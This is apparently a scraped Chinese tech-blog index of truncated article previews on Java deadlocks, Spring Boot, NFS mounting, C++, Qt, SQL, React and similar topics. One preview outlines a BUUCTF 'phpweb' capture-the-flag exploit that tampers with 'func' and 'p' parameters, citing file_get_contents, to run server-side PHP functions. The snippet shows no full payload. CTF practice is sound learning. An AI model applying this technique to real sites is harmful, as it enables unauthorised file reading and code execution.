编写 Java 程序时, 如何在 Java 中创建死锁并修复它&#xff1f; 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码&#xff0c;你可能会失败。 如何避免 Java 线程死锁&#xff1f; 如何避免 Java 中的死锁&#xff1f;是 Java 面试的热门问题之…...

buuctf-[网鼎杯 2020 朱雀组]phpweb

1.打开网站&#xff0c;吓我一跳 2.查看源代码&#xff0c;主要看到timezone&#xff0c;然后这个页面是五秒就会刷新一次 一开始去搜了这个&#xff0c;但是没什么用 3.使用bp抓包 会发现有两个参数&#xff0c;应该是用func来执行p 4.修改func和p file_get_contents&#…...

SpringBoot实战(二十四)集成 LoadBalancer

目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一&#xff1a;Eureka LoadBalancer服务A&#xff1a;loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...

文件挂载nas挂载

准备资源 nas服务器&#xff1a; 192.168.1.2 分配的nas卷名&#xff1a; mynasvolumename 在本地机器挂载nas卷 mkdir -p /mnt/localmountdir 执行挂载 mount -t nfs 192.168.1.2:mynasvolumename/ /mnt/localmountdir 本地进入nas目录 cd /mnt/localmountdir 可以…...

基于算法竞赛的c++编程(28)结构体的进阶应用

结构体的嵌套与复杂数据组织 在C中&#xff0c;结构体可以嵌套使用&#xff0c;形成更复杂的数据结构。例如&#xff0c;可以通过嵌套结构体描述多层级数据关系&#xff1a; struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

Qt Widget类解析与代码注释

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码&#xff0c;写上注释 当然可以&#xff01;这段代码是 Qt …...

(二)原型模式

原型的功能是将一个已经存在的对象作为源目标,其余对象都是通过这个源目标创建。发挥复制的作用就是原型模式的核心思想。 一、源型模式的定义 原型模式是指第二次创建对象可以通过复制已经存在的原型对象来实现,忽略对象创建过程中的其它细节。 📌 核心特点: 避免重复初…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器

第一章 引言&#xff1a;语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域&#xff0c;文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量&#xff0c;支撑着搜索引擎、推荐系统、…...

SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现

摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序&#xff0c;以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务&#xff0c;提供稳定高效的数据处理与业务逻辑支持&#xff1b;利用 uniapp 实现跨平台前…...

【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习

禁止商业或二改转载&#xff0c;仅供自学使用&#xff0c;侵权必究&#xff0c;如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...

React---day11

14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store&#xff1a; 我们在使用异步的时候理应是要使用中间件的&#xff0c;但是configureStore 已经自动集成了 redux-thunk&#xff0c;注意action里面要返回函数 import { configureS…...